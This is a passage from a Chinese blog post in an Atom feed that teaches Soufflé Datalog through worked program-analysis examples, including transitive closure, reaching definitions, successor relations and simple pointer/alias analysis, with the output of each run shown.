class="line">x</span><br><span class="line">===============</span><br><span class="line">$Number(10)</span><br><span class="line">$Add($Number(10), $Imaginary)</span><br><span class="line">$Add($Number(10), $Variable(x))</span><br><span class="line">$Number(11)</span><br><span class="line">$Number(12)</span><br><span class="line">$Number(13)</span><br><span class="line">$Number(14)</span><br><span class="line">$Number(15)</span><br><span class="line">$Number(16)</span><br><span class="line">$Number(17)</span><br><span class="line">$Number(18)</span><br><span class="line">$Number(19)</span><br><span class="line">$Number(20)</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><h4 id="递归类型">递归类型</h4><p>既然可以使用结构体了，那么就看看能不能支持递归，比如链表和二叉树可以视作是递归类型，但是由于命令式编程语言一切都可以用内存去理解，所以往往不会那么直接的视作递归类型。</p><p>例如下面的代码，核心看递归的层面，满足 L 的 fact <code>r1</code>，且 <code>r1</code> 中的 <code>x</code> 小于 30，那么就存在新的 L 的 fact <code>L([r1,x+10])</code>。这里需要注意，<code>r2</code> 可能并不是一层，可能是嵌套的 <code>IntList</code> 类型。</p><p>最后，Flatten 把每一个 IntList 中的 <code>x</code> 提取出来。上面提到了 p=&gt;Pair 的映射，所以根据编号，也是有顺序的。</p><p>特别注意， nil 类型，用于递归类型最初始的情况。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.type IntList = [next: IntList, x: number]</span><br><span class="line">.decl L(l: IntList)</span><br><span class="line">L([nil,10]).</span><br><span class="line">L([r1,x+10]) :- L(r1), r1=[r2,x], x &lt; 30.</span><br><span class="line"></span><br><span class="line">.output  L</span><br><span class="line">.decl Flatten(x: number)</span><br><span class="line">Flatten(x) :- L([_,x]).</span><br><span class="line">.output Flatten</span><br></pre></td></tr></table></figure><p>来看结果：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  exp1 souffle list.dl -D -</span><br><span class="line">Warning: Variable r2 only occurs once in file list.dl at line 4</span><br><span class="line">L([r1,x+10]) :- L(r1), r1=[r2,x], x &lt; 30.</span><br><span class="line">---------------------------^--------------</span><br><span class="line">---------------</span><br><span class="line">L</span><br><span class="line">l</span><br><span class="line">===============</span><br><span class="line">[nil, 10]</span><br><span class="line">[[nil, 10], 20]</span><br><span class="line">[[[nil, 10], 20], 30]</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Flatten</span><br><span class="line">x</span><br><span class="line">===============</span><br><span class="line">10</span><br><span class="line">20</span><br><span class="line">30</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><hr><p>更多的语法知识，可以查看官方文档的<a href="https://souffle-lang.github.io/program">语法部分</a>和<a href="https://souffle-lang.github.io/autotuning">高级主题部分</a>。笔者将会逐渐深入学习理论，然后开始进行实际智能合约的分析，后续会逐渐完善这个系列。</p><h2 id="应用实例">应用实例</h2><h3 id="传递闭包和对称">传递闭包和对称</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">.decl edge(n: symbol, m: symbol)</span><br><span class="line"> /* facts of edge */</span><br><span class="line">edge(&quot;a&quot;, &quot;b&quot;).</span><br><span class="line">edge(&quot;b&quot;, &quot;c&quot;).</span><br><span class="line">edge(&quot;c&quot;, &quot;b&quot;).</span><br><span class="line">edge(&quot;c&quot;, &quot;d&quot;).</span><br><span class="line">/*relations*/</span><br><span class="line">.decl reachable (n: symbol, m: symbol)</span><br><span class="line">.output reachable // output relation reachable</span><br><span class="line">reachable(x, y):- edge(x, y). // base rule</span><br><span class="line">reachable(x, z):- edge(x, y), reachable(y, z). // inductive rule</span><br><span class="line"></span><br><span class="line">// 对称</span><br><span class="line">.decl SCC(n:symbol,m:symbol)</span><br><span class="line">.output SCC</span><br><span class="line">SCC(x,y) :- reachable(x,y), reachable(y,x).</span><br></pre></td></tr></table></figure><p>输出结果如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  exp1 souffle test.dl -D -</span><br><span class="line">---------------</span><br><span class="line">reachable</span><br><span class="line">n       m</span><br><span class="line">===============</span><br><span class="line">a       b</span><br><span class="line">a       c</span><br><span class="line">a       d</span><br><span class="line">b       b</span><br><span class="line">b       c</span><br><span class="line">b       d</span><br><span class="line">c       b</span><br><span class="line">c       c</span><br><span class="line">c       d</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">SCC</span><br><span class="line">n       m</span><br><span class="line">===============</span><br><span class="line">b       b</span><br><span class="line">b       c</span><br><span class="line">c       b</span><br><span class="line">c       c</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><h3 id="寻找深度相同节点">寻找深度相同节点</h3><p>对于一颗树，寻找深度相同的节点。</p><p><img src="https://souffle-lang.github.io/img/same_generation_graph.jpg" alt="Example graph"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.decl Parent(n: symbol, m: symbol)</span><br><span class="line">Parent(&quot;d&quot;, &quot;b&quot;). Parent(&quot;e&quot;, &quot;b&quot;). Parent(&quot;f&quot;,&quot;c&quot;).</span><br><span class="line">Parent(&quot;g&quot;, &quot;c&quot;). Parent(&quot;b&quot;, &quot;a&quot;). Parent(&quot;c&quot;,&quot;a&quot;).</span><br><span class="line">.decl Person(n: symbol)</span><br><span class="line">Person(x) :- Parent(x, _).</span><br><span class="line">Person(x) :- Parent(_, x).</span><br><span class="line">.decl SameGeneration (n: symbol, m: symbol)</span><br><span class="line">SameGeneration(x, x):- Person(x).</span><br><span class="line">// 关键在于下面的逻辑推导，如果x,y是同级别的，那么它们的父节点也是同级别的</span><br><span class="line">SameGeneration(x, y):- Parent(x,p), SameGeneration(p,q), Parent(y,q).</span><br><span class="line">.output SameGeneration</span><br></pre></td></tr></table></figure><p>可以发现，推导是允许递归的。</p><h3 id="数据流分析">数据流分析</h3><p>data-flow analysis（DFA），数据流分析基于控制流图，是比较典型的用节点和图表示程序运行过程的分析方法。具体可以见博客的<a href="https://www.blog-blockchain.xyz/tags/program-language/">软件分析</a>部分。</p><p>这下面是一个可达性分析（也被叫做 liveness 分析，笔者不是很清楚其中区别），可以理解为一个带着分支的循环，d1 和 d2 都定义了变量 v，然后 B3 节点可达的变量 v 一定是在 B4 节点中的 d2。</p><p><img src="http://cdn.blog-blockchain.xyz/202210032209864.jpeg" alt="Reaching definition example"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">// define control flow graph</span><br><span class="line">// via the Edge relation</span><br><span class="line">.decl Edge(n: symbol, m: symbol)</span><br><span class="line">Edge(&quot;start&quot;, &quot;b1&quot;).</span><br><span class="line">Edge(&quot;b1&quot;, &quot;b2&quot;).</span><br><span class="line">Edge(&quot;b1&quot;, &quot;b3&quot;).</span><br><span class="line">Edge(&quot;b2&quot;, &quot;b4&quot;).</span><br><span class="line">Edge(&quot;b3&quot;, &quot;b4&quot;).</span><br><span class="line">Edge(&quot;b4&quot;, &quot;b1&quot;).</span><br><span class="line">Edge(&quot;b4&quot;, &quot;end&quot;).</span><br><span class="line"></span><br><span class="line">// 重新定义变量v的节点和声明编号</span><br><span class="line">.decl GenDef(n: symbol, d:symbol)</span><br><span class="line">GenDef(&quot;b2&quot;, &quot;d1&quot;).</span><br><span class="line">GenDef(&quot;b4&quot;, &quot;d2&quot;).</span><br><span class="line"></span><br><span class="line">// 可以删除对之前的引用，比如b4节点可以删除之前的d1定义的变量v</span><br><span class="line">.decl KillDef(n: symbol, d:symbol)</span><br><span class="line">KillDef(&quot;b4&quot;, &quot;d1&quot;).</span><br><span class="line">KillDef(&quot;b2&quot;, &quot;d2&quot;).</span><br><span class="line"></span><br><span class="line">// Reachable</span><br><span class="line">.decl Reachable(n: symbol, d:symbol)</span><br><span class="line">Reachable(u,d) :- GenDef(u,d). // 定义变量的节点必然是可达的</span><br><span class="line">// 当存在节点 u 可以到达v，而且u也是可到达v的，u不会覆盖或者删除对定义d的引用</span><br><span class="line">Reachable(v,d) :- Edge(u,v), Reachable(u,d), !KillDef(u,d).</span><br><span class="line"></span><br><span class="line">.output Reachable</span><br></pre></td></tr></table></figure><p>这样，就清楚在每一个节点，某一个变量来自于哪一个定义了。这里必须补充一下，变量并不是和变量名绑定，而是说对应的内存中的对象，如果修改了内存，就是新的对象了，也可以称作是定义。可达性分析可以知道当前语句中的某个变量，来自于哪一个定义的地方。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  exp1 souffle DFA.dl -D -</span><br><span class="line">---------------</span><br><span class="line">Reachable</span><br><span class="line">n       d</span><br><span class="line">===============</span><br><span class="line">b1      d2</span><br><span class="line">b2      d1</span><br><span class="line">b2      d2</span><br><span class="line">b3      d2</span><br><span class="line">b4      d1</span><br><span class="line">b4      d2</span><br><span class="line">end     d2</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><h3 id="偏序关系">偏序关系</h3><blockquote><p>Given a set A(x:symbol), create a successor relation Succ(x:symbol, y:symbol) such that the first argument contains an element x in A, and the second argument contains the successor of x, which is also an element of A. For example, the set A = {“a”, “b”, “c”, “d”} would have successor relation Succ=((“a”, “b”), (“b”, “c”), (“c”, “d”)}. Assume that the total order of an element (a symbol in this case) is given by its ordinal number, its internal representation as a number. For example, ord(“hello”) returns the ordinal number of string “hello” for a given program.</p></blockquote><p>题目来自 souffle 官方教程，默认读者已经熟悉前驱、后继关系，其实相当于偏序关系中的大于和小于，但是更加一般化和理论化了。讲解见注释。</p><p>更加进一步，我们再去找到最大和最小的元素。可以这样表示最大值，记 $$P:x\leqslant a$$，则</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∀</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">a</span><span class="mord text"><span class="mord cjk_fallback">是最大值</span></span></span></span></span></span></p><p>**但是 Datalog 只有存在量词。**根据摩根律推广：</p><img src="http://cdn.blog-blockchain.xyz/202210040039840.png" alt="image-20221004003949770" style="zoom:67%;" /><p>原来的推导等价于下面的 E2：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord">1</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∃</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">¬</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord">1</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">a</span><span class="mord text"><span class="mord cjk_fallback">是最大值</span></span></span></span></span></span></p><p>最小值同理也可得。</p><blockquote><p>感谢这一篇<a href="https://qa.1r1g.com/sf/ask/1353816481/">博客</a>帮助我我快速地解决了问题。</p></blockquote><p><strong>所有定义必须大写字母开头</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">// 定义集合 A, 从文件输入 facts/</span><br><span class="line">.decl A(x:symbol)</span><br><span class="line">.input A</span><br><span class="line">// 定义偏序小于，比如字母表顺序 &#x27;a&#x27;&lt;&#x27;b&#x27;，那么就可以将 symbol 用 ord() 转换成次序。</span><br><span class="line">.decl Less(x:symbol, y:symbol)</span><br><span class="line">Less(x,y) :- A(x), A(y), ord(x) &lt; ord(y).</span><br><span class="line"></span><br><span class="line">// 传递性</span><br><span class="line">.decl Transitive(x:symbol, y:symbol)</span><br><span class="line">Transitive(x,z) :- Less(x,y), Less(y,z).</span><br><span class="line"></span><br><span class="line">// x 后继y，需要满足 y 直接小于 x,而不能传递小于 x</span><br><span class="line">.decl Succ(x:symbol, y:symbol)</span><br><span class="line">Succ(x,y) :- Less(x,y), !Transitive(x,y).</span><br><span class="line"></span><br><span class="line">//最大元素</span><br><span class="line">.decl Nmax(x:symbol)</span><br><span class="line">Nmax(x) :- Less(x,u),A(x),A(u).</span><br><span class="line"></span><br><span class="line">.decl Max(x:symbol)</span><br><span class="line">Max(x) :- !Nmax(x),A(x).</span><br><span class="line">.output Max</span><br><span class="line"></span><br><span class="line">.decl Nmin(x:symbol)</span><br><span class="line">Nmin(x) :- Less(u,x),A(x),A(u).</span><br><span class="line"></span><br><span class="line">.decl Min(x:symbol)</span><br><span class="line">Min(x) :- !Nmin(x),A(x).</span><br><span class="line">.output Min</span><br><span class="line"></span><br><span class="line">.output Less, Transitive, Succ</span><br></pre></td></tr></table></figure><p>给定输入的数据 <code>A.facts</code>，注意一个 fact 一行，然后每个 fact 不同的参数用 TAB，不过这里只有一个参数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a</span><br><span class="line">b</span><br><span class="line">c</span><br><span class="line">d</span><br><span class="line">e</span><br></pre></td></tr></table></figure><p>结果如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  successor souffle successor-relation.dl -F . -D -</span><br><span class="line">---------------</span><br><span class="line">Less</span><br><span class="line">x       y</span><br><span class="line">===============</span><br><span class="line">a       b</span><br><span class="line">a       c</span><br><span class="line">a       d</span><br><span class="line">a       e</span><br><span class="line">b       c</span><br><span class="line">b       d</span><br><span class="line">b       e</span><br><span class="line">c       d</span><br><span class="line">c       e</span><br><span class="line">d       e</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Max</span><br><span class="line">x</span><br><span class="line">===============</span><br><span class="line">e</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Min</span><br><span class="line">x</span><br><span class="line">===============</span><br><span class="line">a</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Transitive</span><br><span class="line">x       y</span><br><span class="line">===============</span><br><span class="line">a       c</span><br><span class="line">a       d</span><br><span class="line">a       e</span><br><span class="line">b       d</span><br><span class="line">b       e</span><br><span class="line">c       e</span><br><span class="line">===============</span><br><span class="line">---------------</span><br><span class="line">Succ</span><br><span class="line">x       y</span><br><span class="line">===============</span><br><span class="line">a       b</span><br><span class="line">b       c</span><br><span class="line">c       d</span><br><span class="line">d       e</span><br><span class="line">===============</span><br></pre></td></tr></table></figure><h3 id="简单指针分析和别名分析">简单指针分析和别名分析</h3><p>指针分析和别名分析（aliases)有很多相似之处，但是指针分析并不等于别名分析，二者区别如下：</p><ul><li>指针分析解答的是一个指针可能指向哪个对象的问题</li><li>别名分析解答的是两个指针是否能指向同一个对象的问题，如果是就认为二者互为别名。</li></ul><p>注意，下面的分析都是 may 分析，只是说 <strong>可能</strong> 指向同一个对象。</p><p>需要分析的代码片段如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">v1 = h1();</span><br><span class="line">v2 = h2();</span><br><span class="line">v1 = v2;</span><br><span class="line">v3 = h3();</span><br><span class="line">v1.f = v3;</span><br><span class="line">v4 = v1.f;</span><br></pre></td></tr></table></figure><p>详细解释见代码注释，代码执行顺序有非对称的关系就可以了，简单说就是有向图。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">.type var &lt;: symbol</span><br><span class="line">.type obj &lt;: symbol</span><br><span class="line">.type field &lt;: symbol</span><br><span class="line"></span><br><span class="line">// -- inputs --</span><br><span class="line">.decl assign( a:var, b:var )</span><br><span class="line">.decl new( v:var, o:obj )</span><br><span class="line">.decl ld( a:var, b:var, f:field )</span><br><span class="line">.decl st( a:var, f:field, b:var )</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// -- facts --</span><br><span class="line">// 赋值</span><br><span class="line">assign(&quot;v1&quot;,&quot;v2&quot;).</span><br><span class="line">// 新建变量</span><br><span class="line">new(&quot;v1&quot;,&quot;h1&quot;).</span><br><span class="line">new(&quot;v2&quot;,&quot;h2&quot;).</span><br><span class="line">new(&quot;v3&quot;,&quot;h3&quot;).</span><br><span class="line">// st 表示变量的某个域（比如结构体里面的元素）被另外一个变量赋值了</span><br><span class="line">// ld 表示变量被另外一个变量的某个域赋值了</span><br><span class="line">st(&quot;v1&quot;,&quot;f&quot;,&quot;v3&quot;).</span><br><span class="line">ld(&quot;v4&quot;,&quot;v1&quot;,&quot;f&quot;).</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// -- analysis --</span><br><span class="line">// 别名分析</span><br><span class="line">.decl alias( a:var, b:var )</span><br><span class="line">.output alias</span><br><span class="line">// 如果直接赋值，那么就是别名</span><br><span class="line">alias(X,X) :- assign(X,_).</span><br><span class="line">alias(X,X) :- assign(_,X).</span><br><span class="line">alias(X,Y) :- assign(X,Y).</span><br><span class="line">// 如果 x=A.F 而 A 和 B 可以指向同样的变量，B.F = Y，那么 X,Y 也是别名</span><br><span class="line">alias(X,Y) :- ld(X,A,F), alias(A,B), st(B,F,Y).</span><br><span class="line"></span><br><span class="line">.decl pointsTo( a:var, o:obj )</span><br><span class="line">.output pointsTo</span><br><span class="line">// 直接新建对象，当然是别名</span><br><span class="line">pointsTo(X,Y) :- new(X,Y).</span><br><span class="line">// 或者 X 和 Z指向同一个变量，而Z指向对象Y，那么X也指向变量Y</span><br><span class="line">pointsTo(X,Y) :- alias(X,Z), pointsTo(Z,Y).</span><br></pre></td></tr></table></figure><p>更多的例子见：<a href="https://souffle-lang.github.io/examples#defuse-chains-with-composed-types">https://souffle-lang.github.io/examples#defuse-chains-with-composed-types</a></p><p>笔者以应用为主，当学习到对应的部分，就会实现对应的代码。接下来继续学习理论。</p><h2 id="参考">参考</h2><ul><li><a href="https://souffle-lang.github.io/docs.html">https://souffle-lang.github.io/docs.html</a></li><li><a href="http://nickelsworth.github.io/sympas/16-datalog.html">http://nickelsworth.github.io/sympas/16-datalog.html</a></li><li><a href="https://qa.1r1g.com/sf/ask/1353816481/">https://qa.1r1g.com/sf/ask/1353816481/</a></li><li><a href="http://blogs.evergreen.edu/sosw/files/2014/04/Green-Vol5-DBS-017.pdf">Datalog and Recursive Query Processing</a> 建议当作工具书去查，除非你要深入研究 datalog</li></ul><h2 id="附录一数理逻辑定义">附录一数理逻辑定义</h2><ol><li>literal: 原子公式 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 或者是原子公式的否定式 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">x</span></span></span></span></li><li>clause: 有限的 literal 和逻辑连接词构成的命题公式。</li><li>facts：绝对成立的命题。</li><li>monotonic：因为蕴含而保持“单调的”</li><li><a href="https://en.wikipedia.org/wiki/Sequent_calculus">sequent calculi</a> ：根据单调关系推导</li><li>Non-monotonic logic：非单调逻辑，简单地说结论不是蕴含关系。</li><li>words: 也叫做 string，也就是一系列的字符。</li><li>letters: 也叫做 symbol，非常基础的东西，可以理解为符号。</li><li>formal language: 由 words 构成的规则集合，words 由 letters 构成，letters 从给定的字符集中选取。</li><li>Well-formed formula: 形式语言字符集中的字符以特定规则构成的有限的命题公式。缩写 WFF。</li><li>sentence: 无自由变量的 WFF。</li><li>Stratification</li></ol><p>更多的东西属于数学的范围了，笔者暂时不会深入，因为主要是先用起来再说。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/LP-souffle/</id>
    <link href="https://www.blog-blockchain.xyz/pl/LP-souffle/"/>
    <published>2022-10-04T13:54:33.000Z</published>
    <summary>全面介绍逻辑式编程语言Datalog和其实现Souffle，讲解其语法特性、数据类型和内置函数，并通过传递闭包、数据流分析和指针分析等实例展示在程序分析中的应用。</summary>
    <title>（三）Datalog和程序分析</title>
    <updated>2026-02-19T16:18:01.142Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
